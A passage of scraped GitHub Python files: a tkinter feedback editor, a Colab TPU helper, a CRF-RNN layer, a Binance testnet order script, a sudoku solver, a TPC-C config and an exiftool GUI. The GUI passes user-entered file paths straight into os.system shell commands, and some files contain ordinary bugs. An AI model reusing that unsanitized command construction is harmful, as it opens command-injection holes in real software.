tk.NW)\n\n        submit_button = tk.Button(self, text=\"Submit\", command = self.submit_feedback)\n        submit_button.pack(fill= tk.X)\n\n        self.user_choice =tk.IntVar()\n        self.user_choice.set(None)\n\n        quiz_feedback_select = tk.Radiobutton(self,variable=self.user_choice, text = \"Quiz Feedback\", value= 1, command=self.selected_type)\n        quiz_feedback_select.pack(fill=tk.X, side= tk.LEFT)\n\n        system_feedback_select = tk.Radiobutton(self,variable= self.user_choice, text= \"System Feedback\", value=2, command=self.selected_type)\n        system_feedback_select.pack(fill=tk.X, side= tk.LEFT)\n\n        message = tk.Label(self, text = \"Please select feedback type and fill in the feedback \", font =(\"Arial Bold\",15))\n        message.pack()\n\n        return_button = tk.Button(self,text =\"Return\", command=self.return_to_last_page)\n        return_button.pack()\n        self.open_status_name = False\n\n    def new_file(self):\n        self.my_feedback.delete(\"1.0\",tk.END)\n        self.master.title('New File')\n        self.status_bar.config(text= \"New File\")\n\n    def open_file(self):\n        self.my_feedback.delete(\"1.0\",tk.END)\n        text_file = filedialog.askopenfilename(title=\"Open File\", filetypes=((\"Text Files\",\"*.txt\"), (\"All Files\",\"*.*\")))\n\n        if text_file:\n            self.open_status_name = text_file\n\n        name = text_file\n        self.status_bar.config(text = f\"{name}   \")\n        self.master.title(f\"{name}\")\n\n        text_file = open(text_file,\"r\")\n        content = text_file.read()\n        self.my_feedback.insert(tk.END, content)\n\n        text_file.close()\n\n    def save_as(self):\n        text_file = filedialog.asksaveasfilename(defaultextension=\".*\", title= \"Save File\", filetypes=((\"Text Files\",\"*.txt\"), (\"All Flies\",\"*.*\")))\n        if text_file:\n            name= text_file\n            self.status_bar.config(text = f\"Saved: {name}\")\n            self.master.title(f'{name}')\n\n            text_file = open(text_file,\"w\")\n            text_file.write(self.my_feedback.get(1.0, tk.END))\n\n            text_file.close()\n\n    def save_file(self):\n        if self.open_status_name:\n            text_file =open(text_file,\"w\")\n            text_file.write(self.my_feedback.get(1.0,tk.END))\n            text_file.close()\n\n            self.status_bar.config(text = f\"Saved: {self.open_status_name}\")\n        else:\n            self.save_as()\n\n\n    def bold(self):\n        bold_font = font.Font(self.my_feedback, self.my_feedback.cget(\"font\"))\n        bold_font.configure(weight =\"bold\")\n\n        self.my_feedback.tag_configure(\"bold\", font= bold_font)\n        current_tags =self.my_feedback.tag_names(\"sel.first\")\n        if \"bold\" in current_tags:\n            self.my_feedback.tag_remove(\"bold\", \"sel.first\",\"sel.last\")\n        else:\n            self.my_feedback.tag_add(\"bold\",\"sel.first\", \"sel.last\")\n\n    def italic(self):\n        italic_font = font.Font(self.my_feedback, self.my_feedback.cget(\"font\"))\n        italic_font.configure(slant =\"italic\")\n\n        self.my_feedback.tag_configure(\"italic\", font= italic_font)\n        current_tags =self.my_feedback.tag_names(\"sel.first\")\n        if \"italic\" in current_tags:\n            self.my_feedback.tag_remove(\"italic\", \"sel.first\",\"sel.last\")\n        else:\n            self.my_feedback.tag_add(\"italic\",\"sel.first\", \"sel.last\")\n\n    def selected_type(self):\n        self.selected_option = self.user_choice.get()\n        return self.selected_option\n    \n    def submit_feedback(self):\n        feedback_content =str(self.my_feedback.get(1.0, tk.END))\n        print(feedback_content)\n        if self.selected_option == 1:\n            with open (\"data/feedback.txt\",\"a\") as file:\n                file.write(f\"Quiz Feedback from {self.user.get_username()}: {feedback_content}\")\n        elif self.selected_option ==2:\n            with open (\"data/feedback.txt\",\"a\") as file:\n                file.write(f\"System Feedback from {self.user.get_username()}: {feedback_content}\")\n    \n        messagebox.showinfo(title=None, message=\"Feedback Sumitted!\")\n\n    def return_to_last_page(self):\n        self.place_forget()\n        self.return_page.place(relx=.5, rely=.5, anchor= tk.CENTER)\n\n\n\n\n        \n\n        \n\n","repo_name":"Biaser123/FIT1056Assingment","sub_path":"feedbackPage.py","file_name":"feedbackPage.py","file_ext":"py","file_size_in_byte":5939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"17821484380","text":"import requests\nimport os\n\nfrom jax.config import config\n\n\ndef setup_tpu():\n    if 'TPU_DRIVER_MODE' not in globals():\n        addr = os.environ['COLAB_TPU_ADDR'].split(':')[0]\n        url = f'http://{addr}:8475/requestversion/tpu_driver0.1-dev20191206'\n        _ = requests.post(url)\n        os.environ['TPU_DRIVER_MODE'] = '1'\n\n    config.FLAGS.jax_xla_backend = \"tpu_driver\"\n    config.FLAGS.jax_backend_target = \"grpc://\" + os.environ['COLAB_TPU_ADDR']\n","repo_name":"TrellixVulnTeam/flaxseed_59TZ","sub_path":"flaxseed/utils/colab.py","file_name":"colab.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"19674676410","text":"import numpy as np\nimport tensorflow as tf\nfrom keras.engine.topology import Layer\nimport high_dim_filter_loader\ncustom_module = high_dim_filter_loader.custom_module\nimport time\n\n\ndef _diagonal_initializer(shape):\n    return np.eye(shape[0], shape[1], dtype=np.float32)\n\n\ndef _potts_model_initializer(shape):\n    return -1 * _diagonal_initializer(shape)\n\n\nclass CrfRnnLayer(Layer):\n    \"\"\" Implements the CRF-RNN layer described in:\n\n    Conditional Random Fields as Recurrent Neural Networks,\n    S. Zheng, S. Jayasumana, B. Romera-Paredes, V. Vineet, Z. Su, D. Du, C. Huang and P. Torr,\n    ICCV 2015\n    \"\"\"\n\n    def __init__(self, image_dims, num_classes,\n                 theta_alpha, theta_beta, theta_gamma,\n                 num_iterations, bil_rate = 0.5, theta_alpha_seg = None, **kwargs): #add theta_alpha_seg\n        self.image_dims = image_dims\n        self.num_classes = num_classes\n        self.theta_alpha = theta_alpha\n        self.theta_alpha_seg = theta_alpha_seg #to add sp-pairwise\n        self.theta_beta = theta_beta\n        self.theta_gamma = theta_gamma\n        self.num_iterations = num_iterations\n        self.spatial_ker_weights = None\n        self.bilateral_ker_weights = None\n        self.compatibility_matrix = None\n        self.spatial_norm_vals = None #to modularize\n        self.bilateral_norm_vals = None\n        self.bilateral_outs = []\n        self.bil_rate = bil_rate #ratio of wegiths\n        super(CrfRnnLayer, self).__init__(**kwargs)\n\n    def build(self, input_shape):\n        # Weights of the spatial kernel\n        self.spatial_ker_weights = self.add_weight(name='spatial_ker_weights',\n                                                   shape=(self.num_classes, self.num_classes),\n                                                   initializer=_diagonal_initializer,\n                                                   trainable=True)\n\n        # Weights of the bilateral kernel\n        self.bilateral_ker_weights = self.add_weight(name='bilateral_ker_weights',\n                                                     shape=(self.num_classes, self.num_classes),\n                                                     initializer=_diagonal_initializer,\n                                                     trainable=True)\n\n        # Compatibility matrix\n        self.compatibility_matrix = self.add_weight(name='compatibility_matrix',\n                                                    shape=(self.num_classes, self.num_classes),\n                                                    initializer=_potts_model_initializer,\n                                                    trainable=True)\n\n        super(CrfRnnLayer, self).build(input_shape)\n    def filtering_norming(self, imgs):\n        c, h, w = self.num_classes, self.image_dims[0], self.image_dims[1]\n        all_ones = np.ones((c, h, w), dtype=np.float32)\n        # Prepare filter normalization coefficients, they are tensors\n        self.spatial_norm_vals = custom_module.high_dim_filter(all_ones, imgs[0], bilateral=False,\n                                                          theta_gamma=self.theta_gamma)\n        self.bilateral_norm_vals = [custom_module.high_dim_filter(all_ones, imgs[0], bilateral=True,\n                                                            theta_alpha=self.theta_alpha,\n                                                            theta_beta=self.theta_beta)] #add original image\n        for i in range(1, len(imgs)):\n            theta_alpha_seg = self.theta_alpha_seg if self.theta_alpha_seg is not None else self.theta_alpha\n            self.bilateral_norm_vals.append(custom_module.high_dim_filter(all_ones, imgs[i], bilateral=True,\n                                                            theta_alpha=theta_alpha_seg,\n                                                            theta_beta=self.theta_beta)) # add segmented image\n        \n    def bilateral_filtering(self, softmax_out, imgs):\n#         bilateral_outs = []\n        self.bilateral_outs = []\n        self.bilateral_outs.append(custom_module.high_dim_filter(softmax_out, imgs[0], bilateral=True,\n                                                          theta_alpha=self.theta_alpha,\n                                                          theta_beta=self.theta_beta))\n        if len(imgs) > 1: #we have segmentations\n            for i in range(1,  len(imgs)):\n                theta_alpha_seg = self.theta_alpha_seg if self.theta_alpha_seg is not None else self.theta_alpha\n                self.bilateral_outs.append(custom_module.high_dim_filter(softmax_out, imgs[i], bilateral=True,\n                                                          theta_alpha=theta_alpha_seg,\n                                                          theta_beta=self.theta_beta))\n\n        self.bilateral_outs = [out / norm for (out, norm) in zip(self.bilateral_outs, self.bilateral_norm_vals)]\n\n\n    def call(self, inputs):\n        start_time = time.time()\n        unaries = tf.transpose(inputs[0][0, :, :, :], perm=(2, 0, 1))\n        rgb = tf.transpose(inputs[1][0, :, :, :], perm=(2, 0, 1))\n        segs = [tf.transpose(inputs[i][0, :, :, :], perm=(2, 0, 1)) for i in range(2,len(inputs))]\n\n        c, h, w = self.num_classes, self.image_dims[0], self.image_dims[1]\n\n        # Prepare filter normalization coefficients, they are tensors\n        self.filtering_norming([rgb]+segs)\n        q_values = unaries\n\n        for i in range(self.num_iterations):\n            softmax_out = tf.nn.softmax(q_values, 0)\n\n            # Spatial filtering\n            spatial_out = custom_module.high_dim_filter(softmax_out, rgb, bilateral=False,\n                                                        theta_gamma=self.theta_gamma)\n            spatial_out = spatial_out / self.spatial_norm_vals\n\n            # Bilateral filtering\n            self.bilateral_filtering(softmax_out, [rgb]+segs)\n\n            # Weighting filter outputs\n            \n            message_passing = tf.matmul(self.spatial_ker_weights,\n                                         tf.reshape(spatial_out, (c, -1)))\n            ratios = [1.0] + [self.bil_rate]*len(segs)\n            message_passing += tf.add_n([tf.matmul(self.bilateral_ker_weights*ratios[i],\n                                         tf.reshape(self.bilateral_outs[i], (c, -1))) for i in range(len(segs)+1)])\n\n            # Compatibility transform\n            pairwise = tf.matmul(self.compatibility_matrix, message_passing)\n\n            # Adding unary potentials\n            pairwise = tf.reshape(pairwise, (c, h, w))\n            q_values = unaries - pairwise\n        elapsed_time = time.time() - start_time\n        print(elapsed_time)\n\n        return tf.transpose(tf.reshape(q_values, (1, c, h, w)), perm=(0, 2, 3, 1))\n    \n\n\n    def compute_output_shape(self, input_shape):\n        return input_shape\n","repo_name":"liyin2015/superpixel_crfasrnn","sub_path":"src/crfrnn_layer.py","file_name":"crfrnn_layer.py","file_ext":"py","file_size_in_byte":6801,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"27118433725","text":"import asyncio\nimport hashlib\nimport hmac\nimport json\nimport time\nimport requests\n\n# API for create new order: https://binance-docs.github.io/apidocs/delivery/en/#new-order-trade\n# TRADE\tendpoint requires sending a valid API-Key and signature.\nHTTP_TOO_MANY_REQUESTS = 429\nHTTP_TIME_OUT = 408\nSLEEP_TIME = 5\n\n\n# TODO at main flow: When a 429 is received,\n# it's your obligation as an API to back off and not spam the API (that's why sleep )\n# if resp.status_code == HTTP_TOO_MANY_REQUESTS:\n#     asyncio.sleep(SLEEP_TIME)\n# return\n\nasync def check_server_time(config) -> int:\n    endpoint = f\"{config['http_base_url_test']}/fapi/v1/time\"\n    response = requests.get(url=endpoint)\n\n    server_time_dict_in_bytes = response.content\n    server_time_dict_in_string = server_time_dict_in_bytes.decode()\n\n    server_time_dict = json.loads(server_time_dict_in_string)\n    server_time = server_time_dict['serverTime']\n    server_time_int = int(server_time)\n\n    print(server_time_int)\n    return server_time_int\n\n\nasync def ping_server(config) -> None:\n    endpoint = f\"{config['http_base_url_test']}/fapi/v1/time\"\n    response = requests.get(url=endpoint)\n\n    print(response.status_code)\n\n\nasync def execute_order(config, symbol, price, quantity, current_server_time, side):\n    endpoint = f\"{config['http_base_url_test']}/fapi/v1/order\"\n    data = await createDataAndSignature(config['test_net_futures']['secure_key'], symbol, price, quantity,\n                                        current_server_time, side)\n    headers = {\n        \"Content-Type\": \"application/x-www-form-urlencoded\",\n        \"X-MBX-APIKEY\": config['test_net_futures']['api_key']\n    }\n    # headers = {\"Content-Type\": \"application/x-www-form-urlencoded\", \"X-MBX-APIKEY\":config['api_key']}\n\n    try:\n        resp = requests.post(url=endpoint, headers=headers, data=data, timeout=10)\n        print(\"The status code: \", resp.status_code)\n        print(\"The response: \", resp.content)\n        return resp.status_code\n    except requests.Timeout as error:\n        # if timeout then just return\n        print(\"Order execution failed due to timeout: \" + error)\n        return HTTP_TIME_OUT\n\n\nasync def hashing(secret_key, query_string):\n    return hmac.new(\n        secret_key.encode(\"utf-8\"), query_string.encode(\"utf-8\"), hashlib.sha256\n    ).hexdigest()\n\n\nasync def createDataAndSignature(secretKey, symbol, price, quantity, server_time, side):\n    symbol = symbol\n    side = side\n    type = \"LIMIT\"\n    timeInForce = 'GTC'\n    price = price\n    quantity = quantity\n    timestamp = server_time\n    signatureString = f\"symbol={symbol}&side={side}&type={type}&quantity={quantity}&price={price}&timeInForce={timeInForce}&timestamp={timestamp}\"\n    signature = await hashing(secretKey, signatureString)\n\n    data = {\n        \"symbol\": symbol,\n        \"side\": side,\n        \"type\": type,\n        \"quantity\": quantity,\n        \"price\": price,\n        \"timeInForce\": timeInForce,\n        \"timestamp\": timestamp,\n        \"signature\": signature\n    }\n    return data\n\n\nasync def test():\n    f = open('config.json')\n    config = json.load(f)\n    current_server_time = await check_server_time(config)\n    await ping_server(config)\n    await execute_order(config, \"ETHUSDT\", 1599.47, 10, current_server_time)\n\n\nif __name__ == \"__main__\":\n    asyncio.run(test())\n","repo_name":"AtlasWongy/crypto_trading_bot","sub_path":"execute_order.py","file_name":"execute_order.py","file_ext":"py","file_size_in_byte":3312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"18522307315","text":"import sys\r\nimport time\r\nsys.argv.append(\"Puzzle.txt\")\r\n\r\nlines=[]\r\noptions=[1,2,3,4,5,6,7,8,9]\r\nboard = [[\"_\" for i in range(9)] for j in range(9)]\r\n\r\nwith open(sys.argv[1],\"r\") as f:\r\n    lines=f.read().split(\"\\n\")\r\n\r\nfor x in range(len(lines)):\r\n    for y in range(len(lines[x])):\r\n        if(lines[x][y]!=\"_\"):\r\n            board[x][y]=int(lines[x][y])\r\n\r\n\r\ndef getOptions(i,j,board):\r\n    new_options=list(options)\r\n    #modify new_options based on quadrant, column, and row\r\n    r=getQuadrant(i,j,board)\r\n    r+=getColumn(i,j,board)\r\n    r+=getRow(i,j,board)\r\n    for x in r:\r\n        if(x in new_options):\r\n            new_options.remove(x)\r\n    return new_options\r\n    \r\ndef getColumn(i,j,board):\r\n    column=[]\r\n    for x in range(len(board)):\r\n        if(board[x][j]!=\"_\"):\r\n            column+=[board[x][j]]\r\n    return column\r\n\r\ndef getRow(i,j,board):\r\n    row=[]\r\n    for x in range(len(board[i])):\r\n        if(board[i][x]!=\"_\"):\r\n            row+=[board[i][x]]\r\n    return row\r\n\r\ndef getQuadrant(i,j,board):\r\n    quadrant=[]\r\n    qx=(i//3)*3\r\n    qy=(j//3)*3\r\n    for x in range(qx,qx+3):\r\n        for y in range(qy,qy+3):\r\n            if(board[x][y]!=\"_\"):\r\n                quadrant+=[board[x][y]]\r\n    return quadrant\r\n\r\n\r\n\r\ndef solve(i,j,board):\r\n    if(i>=len(board) or j>=len(board)):\r\n        return board\r\n    if(board[i][j]!=\"_\"):\r\n        ni=(i+1)%9\r\n        nj=j\r\n        if(ni<i):\r\n            nj+=1\r\n        eboard=solve(ni,nj,board)\r\n        return eboard\r\n    nboard=[[x for x in row] for row in board]\r\n    noptions=getOptions(i,j,nboard)\r\n    if(len(noptions)==0):\r\n        return None\r\n    #nboard[0][0]=\"example\"\r\n    for x in noptions:\r\n        nboard[i][j]=x\r\n        #print(\"\\n\",i,j)\r\n        #printBoard(nboard)\r\n        ni=(i+1)%9\r\n        nj=j\r\n        if(ni<i):\r\n            nj+=1\r\n        eboard=solve(ni,nj,nboard)\r\n        if(eboard==None):\r\n            continue\r\n        else:\r\n            return eboard\r\n\r\ndef printBoard(board):\r\n    if(board == None):\r\n        print(board)\r\n        return\r\n    for x in board:\r\n        for y in x:\r\n            print(str(y)+\" \",end=\"\")\r\n        print(\"\")\r\n\r\nprint(\"Start:\")\r\nt=time.time()\r\nprintBoard(board)\r\nprint(\"End:\")\r\nprintBoard(solve(0,0,board))\r\nprint(str(time.time()-t)[:6],\"seconds\")","repo_name":"kalabquake/Projects","sub_path":"Python/SudokuSolver/Solver.py","file_name":"Solver.py","file_ext":"py","file_size_in_byte":2272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74914648359","text":"simon_host = '10.232.23.15'\nsimon_port = 7466\nsimon_cluster = 'tpcc'\n\n\nusername='admin'\npassword='admin'\nwarehouses=10\ndatabase='test'\nconnections=4\nwarmup_time=600\nrunning_time=3600\nreport_interval=10\nreport_file='./report_file.log'\ntrx_file='./trx_file.log'\n\n# -h server_host -P port -d database_name -u mysql_user -p mysql_password -w warehouses -c connections -r warmup_time -l running_time -i report_interval -f report_file -t trx_file\n\n\ncheck_local_file = 'sh: ls tpcc/{load.sh,add_fkey_idx.sql,count.sql,create_table.sql,drop_cons.sql,stress.sh,tpcc.conf.template,tpcc_load,tpcc_start} # ExceptionOnFail'\nclient_start_args = 'tpcc.conf.$ip'\nclient_env_vars = 'LD_LIBRARY_PATH=/usr/lib64/mysql'\n\ndef configure_obi(**self):\n    obi = find_attr(self, 'obi')\n    if not obi: raise Exception('no obi defined for tpcc')\n    tpl = obi.get('tpl', {})\n    obi.update(tpl=tpl)\n    return 'configure_obi by tpcc'\n\ndef prepare(**self):\n    obi = find_attr(self, 'obi')\n    if not obi: raise Fail('no obi defined for tpcc')\n    return True\n\ndef gen_client_conf(**self):\n    path, content = sub2('tpcc/tpcc.conf.$ip', self), sub2(read('tpcc/tpcc.conf.template'), self)\n    write(path, content)\n    return path\n\nclient_custom_attr = dict(conf=gen_client_conf)\n","repo_name":"BankOfCommunications/CBASE","sub_path":"tools/deploy/tpcc/tpcc.py","file_name":"tpcc.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"18"}
{"seq_id":"19733036132","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#By Neo-Jack 2021\n\nclass color:\n   PURPLE = '\\033[95m'\n   CYAN = '\\033[96m'\n   DARKCYAN = '\\033[36m'\n   BLUE = '\\033[94m'\n   GREEN = '\\033[92m'\n   YELLOW = '\\033[93m'\n   RED = '\\033[91m'\n   BOLD = '\\033[1m'\n   UNDERLINE = '\\033[4m'\n   END = '\\033[0m'\n\nclass varT:\n    info = color.YELLOW + \"[INFO]:\" + color.END\n    home = \"/home/\"        \n    escrSP = \"/Escritorio/\"\n    libSP = \"Instalando Libreria faltante.\"\n    listo = \" Listo...\"    \n    insDepSP = \" Instalando dependencia...\"    \n    espera = \" Esperando...\"    \n    traSP = \" Traducido...\"\n    ingrSP = \" Tienes que ingresar un Directorio y nombre de Archivo valido.\"\n    expFileSP = \" Archivo exportado en \"\n    metaSP = \" Meta Data Eliminada de: \"\n    escrEN = \"/Desktop/\"\n    done = \" Done...\"\n    instDepEN = \" Installing dependency ... \"\n    wait = \" Waiting...\"\n    traEN = \" Translated...\"\n    ingrEN = \" You have to enter a valid Directory and Filename. \"\n    expFileEN = \" Exported file in  \" \n    metaEN = \" Meta Data Removed from:  \"\n\ndef clear():\n\tif name == 'nt':\n\t\t_ = system('cls')\n\telse:\n\t\t_ = system('clear')\n\nfrom os import system, name\nimport sys, os, time\nfrom PIL import Image \nimport pickle \n    \ntry:\n    from PyQt5 import QtCore, QtGui, QtWidgets\nexcept:\n    clear()\n    print(color.PURPLE + color.UNDERLINE + varT.libSP + color.END)\n    system('pip3 install pyqt5')\n    \nusr = os.getlogin()\n\ndef db():\n    global baseInsExif\n    global baseidioma    \n    baseInsExif = \"SI\"; baseidioma = \"SP\";    \n    try:\n        baseInsExif, baseidioma = pickle.load(open(\"conf.neo\",\"rb\"))                \n        if baseInsExif == \"SI\":\n            if baseidioma == \"SP\":\n                try:\n                    clear()\n                    print(varT.info + varT.insDepSP)\n                    system('sudo apt-get update')\n                    system('sudo apt-get install libimage-exiftool-perl') # Ubuntu, Debian, Mint, Kali\n                    clear()\n                    print(varT.info + varT.listo)\n                except:\n                    clear()\n                    print(varT.info + varT.insDepSP)\n                    system('sudo dnf update')           \n                    system('sudo dnf install perl-Image-ExifTool.noarch') # Fedora, CentOS, RedHat\n                    clear()\n                    print(varT.info + varT.listo)\n            elif baseidioma == \"EN\":\n                try:\n                    clear()\n                    print(varT.info + varT.instDepEN)\n                    system('sudo apt-get update')\n                    system('sudo apt-get install libimage-exiftool-perl') # Ubuntu, Debian, Mint, Kali\n                    clear()\n                    print(varT.info + varT.done)\n                except:\n                    clear()\n                    print(varT.info + varT.insDepEN)\n                    system('sudo dnf update')           \n                    system('sudo dnf install perl-Image-ExifTool.noarch') # Fedora, CentOS, RedHat\n                    clear()\n                    print(varT.info + varT.done)               \n        elif baseInsExif == \"NO\":\n            if baseidioma == \"SP\":\n                clear()\n                print(varT.info + varT.espera)\n            elif baseidioma == \"EN\":\n                clear()\n                print(varT.info + varT.wait)      \n        baseInsExif = \"NO\"\n        pickle.dump([baseInsExif, baseidioma], open(\"conf.neo\",\"wb\")) \n    except: \n        pickle.dump([baseInsExif, baseidioma], open(\"conf.neo\",\"wb\"))\n        baseInsExif, baseidioma = pickle.load(open(\"conf.neo\",\"rb\"))        \n        if baseInsExif == \"SI\":\n            if baseidioma == \"SP\":\n                try:\n                    clear()                    \n                    print(varT.info + varT.insDepSP)\n                    system('sudo apt-get update')\n                    system('sudo apt-get install libimage-exiftool-perl') # Ubuntu, Debian, Mint, Kali\n                    clear()\n                    print(varT.info + varT.listo)\n                except:\n                    clear()\n                    print(varT.info + varT.insDepSP)\n                    system('sudo dnf update')           \n                    system('sudo dnf install perl-Image-ExifTool.noarch') # Fedora, CentOS, RedHat\n                    clear()\n                    print(varT.info + varT.listo)\n            elif baseidioma == \"EN\":\n                try:\n                    clear()                    \n                    print(varT.info + varT.instDepEN)\n                    system('sudo apt-get update')\n                    system('sudo apt-get install libimage-exiftool-perl') # Ubuntu, Debian, Mint, Kali\n                    clear()\n                    print(varT.info + varT.done)\n                except:\n                    clear()\n                    print(varT.info + varT.insDepEN)\n                    system('sudo dnf update')           \n                    system('sudo dnf install perl-Image-ExifTool.noarch') # Fedora, CentOS, RedHat\n                    clear()\n                    print(varT.info + varT.done)                    \n        elif baseInsExif == \"NO\":\n            if baseidioma == \"SP\":\n                clear()\n                print(varT.info + varT.espera)\n            elif baseidioma == \"EN\":\n                clear()\n                print(varT.info + varT.wait)\n        baseInsExif = \"NO\"\n        pickle.dump([baseInsExif, baseidioma], open(\"conf.neo\",\"wb\")) \n        \ndb()\n\nclass Ui_MainWindow(object):   \n\n    def rutaE(self):\n        global folder\n        baseInsExif, baseidioma = pickle.load(open(\"conf.neo\",\"rb\"))\n        if self.sp_radio.isChecked():\n            escritorio = varT.escrSP            \n            baseidioma = \"SP\"            \n            pickle.dump([baseInsExif, baseidioma], open(\"conf.neo\",\"wb\"))             \n        elif self.en_radio.isChecked():\n            escritorio = varT.escrEN            \n            baseidioma = \"EN\"            \n            pickle.dump([baseInsExif, baseidioma], open(\"conf.neo\",\"wb\"))            \n        folder = varT.home + usr + escritorio\n        self.ruta_e.setText(folder)\n    \n    def confInstala(self):\n        baseInsExif, baseidioma = pickle.load(open(\"conf.neo\",\"rb\"))\n        if self.si_radio.isChecked():\n            baseInsExif = \"SI\"\n            pickle.dump([baseInsExif, baseidioma], open(\"conf.neo\",\"wb\"))\n        elif self.no_radio.isChecked():\n            baseInsExif = \"NO\"\n            pickle.dump([baseInsExif, baseidioma], open(\"conf.neo\",\"wb\"))\n\n    def instalar(self):                \n        if self.si_radio.isChecked():            \n            baseInsExif = \"SI\"\n            pickle.dump([baseInsExif, baseidioma], open(\"conf.neo\",\"wb\"))\n            try:                \n                if self.sp_radio.isChecked():\n                    clear()\n                    print(varT.info + varT.insDepSP)\n                elif self.en_radio.isChecked():\n                    clear()\n                    print(varT.info + varT.instDepEN)                    \n                system('sudo apt-get update')\n                system('sudo apt-get install libimage-exiftool-perl') # Ubuntu, Debian, Mint, Kali\n                clear()\n                if self.sp_radio.isChecked():\n                    clear()\n                    print(varT.info + varT.listo)\n                elif self.en_radio.isChecked():\n                    clear()\n                    print(varT.info + varT.done)\n            except:\n                if self.sp_radio.isChecked():\n                    clear()\n                    print(varT.info + varT.insDepSP)\n                elif self.en_radio.isChecked():\n                    clear()\n                    print(varT.info + varT.varT.instDepEN)\n                system('sudo dnf update')             \n                system('sudo dnf install perl-Image-ExifTool.noarch') #Fedora, CentOS, RedHat                \n                clear()\n                if self.sp_radio.isChecked():\n                    clear()\n                    print(varT.info + varT.listo)\n                elif self.en_radio.isChecked():\n                    clear()\n                    print(varT.info + varT.done)\n            baseInsExif = \"NO\"\n            pickle.dump([baseInsExif, baseidioma], open(\"conf.neo\",\"wb\"))\n            self.no_radio.setChecked(True)\n            \n        elif self.no_radio.isChecked():\n            baseInsExif = \"NO\"\n            pickle.dump([baseInsExif, baseidioma], open(\"conf.neo\",\"wb\"))            \n            clear()\n            if self.sp_radio.isChecked():\n                clear()\n                print(varT.info + varT.espera)\n            elif self.en_radio.isChecked():\n                clear()\n                print(varT.info + varT.wait)\n            pass\n        \n    def idioma(self):\n        global escritorio\n        if self.sp_radio.isChecked():            \n            self.retranslate_SP(MainWindow)\n            escritorio = varT.escrSP \n            self.rutaE()           \n            clear()\n            print(varT.info + varT.traSP + varT.listo)\n        elif self.en_radio.isChecked():            \n            self.retranslate_EN(MainWindow)\n            escritorio = varT.escrEN \n            self.rutaE()\n            clear()\n            print(varT.info + varT.traEN + varT.done)            \n        \n    def cambia_img(self):   \n        folder = str(self.ruta_e.text())                          \n        imagen = str(self.img_name_e.text())\n        rutaCompleta = folder + imagen        \n        if imagen != \".png, .jpg, .gif, .pdf, .zip, .doc, etc.\":\n            try:\n                icon1 = QtGui.QIcon()\n                icon1.addPixmap(QtGui.QPixmap(rutaCompleta), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n                self.abrir_img_b.setIcon(icon1)                \n            except:\n                print(\"err\")\n                icon1 = QtGui.QIcon()\n                icon1.addPixmap(QtGui.QPixmap(\"img/no2.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n                self.abrir_img_b.setIcon(icon1)                \n        else:\n            if self.sp_radio.isChecked():\n                clear()\n                print(varT.info + varT.ingrSP)\n            elif self.en_radio.isChecked():\n                clear()\n                print(varT.info + varT.ingrEN)\n    \n    def abreimg(self):        \n        folder = str(self.ruta_e.text())       \n        imagen = str(self.img_name_e.text())\n        rutaCompleta = folder + imagen        \n        try:\n            icon1 = QtGui.QIcon()\n            icon1.addPixmap(QtGui.QPixmap(rutaCompleta), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n            self.abrir_img_b.setIcon(icon1)            \n            ruta = Image.open(folder + imagen, 'r')\n            ruta.show()\n        except:\n            icon1 = QtGui.QIcon()\n            icon1.addPixmap(QtGui.QPixmap(\"img/no2.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n            self.abrir_img_b.setIcon(icon1)  \n\n    def ver_exif(self):        \n        folder = str(self.ruta_e.text())              \n        imagen = str(self.img_name_e.text())\n        rutaCompleta = folder + imagen      \n        clear()        \n        os.system('exiftool ' + rutaCompleta)\n    \n    def exportar(self):       \n        folder = str(self.ruta_e.text())\n        imagen = str(self.img_name_e.text())\n        rutaCompleta = folder + imagen                \n        clear()\n        if self.sp_radio.isChecked():\n            print(varT.info + varT.expFileSP + rutaCompleta + \".html\")\n            os.system('exiftool -h ' + rutaCompleta + ' > ' + rutaCompleta + '.html')\n        elif self.en_radio.isChecked():\n            print(varT.info + varT.expFileEN + rutaCompleta + \".html\")\n            os.system('exiftool -h ' + rutaCompleta + ' > ' + rutaCompleta + '.html')\n          \n    def limpiaExif(self):\n        folder = str(self.ruta_e.text())\n        imagen = str(self.img_name_e.text())\n        rutaCompleta = folder + imagen\n        clear()\n        if self.sp_radio.isChecked():\n            print(varT.info + varT.metaSP + imagen)\n            os.system('exiftool -all= ' + rutaCompleta)\n        elif self.en_radio.isChecked():\n            print(varT.info + varT.metaEN + imagen)\n            os.system('exiftool -all= ' + rutaCompleta)\n\n    def setupUi(self, MainWindow):                \n        MainWindow.setObjectName(\"MainWindow\")\n        MainWindow.resize(394, 494)        \n        icon = QtGui.QIcon()\n        icon.addPixmap(QtGui.QPixmap(\"img/anon.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n        MainWindow.setWindowIcon(icon)        \n        self.centralwidget = QtWidgets.QWidget(MainWindow)\n        self.centralwidget.setObjectName(\"centralwidget\")\n        self.gridLayoutWidget = QtWidgets.QWidget(self.centralwidget)\n        self.gridLayoutWidget.setGeometry(QtCore.QRect(20, 30, 351, 58))\n        self.gridLayoutWidget.setObjectName(\"gridLayoutWidget\")\n        self.grid1 = QtWidgets.QGridLayout(self.gridLayoutWidget)\n        self.grid1.setContentsMargins(0, 0, 0, 0)\n        self.grid1.setObjectName(\"grid1\")\n        self.ruta_txt = QtWidgets.QLabel(self.gridLayoutWidget)\n        self.ruta_txt.setObjectName(\"ruta_txt\")\n        self.grid1.addWidget(self.ruta_txt, 0, 0, 1, 1)        \n        self.ruta_e = QtWidgets.QLineEdit(self.gridLayoutWidget)\n        self.ruta_e.setTabletTracking(False)\n        self.ruta_e.setObjectName(\"ruta_e\")\n        self.grid1.addWidget(self.ruta_e, 0, 1, 1, 1)\n        self.img_nombre_txt = QtWidgets.QLabel(self.gridLayoutWidget)\n        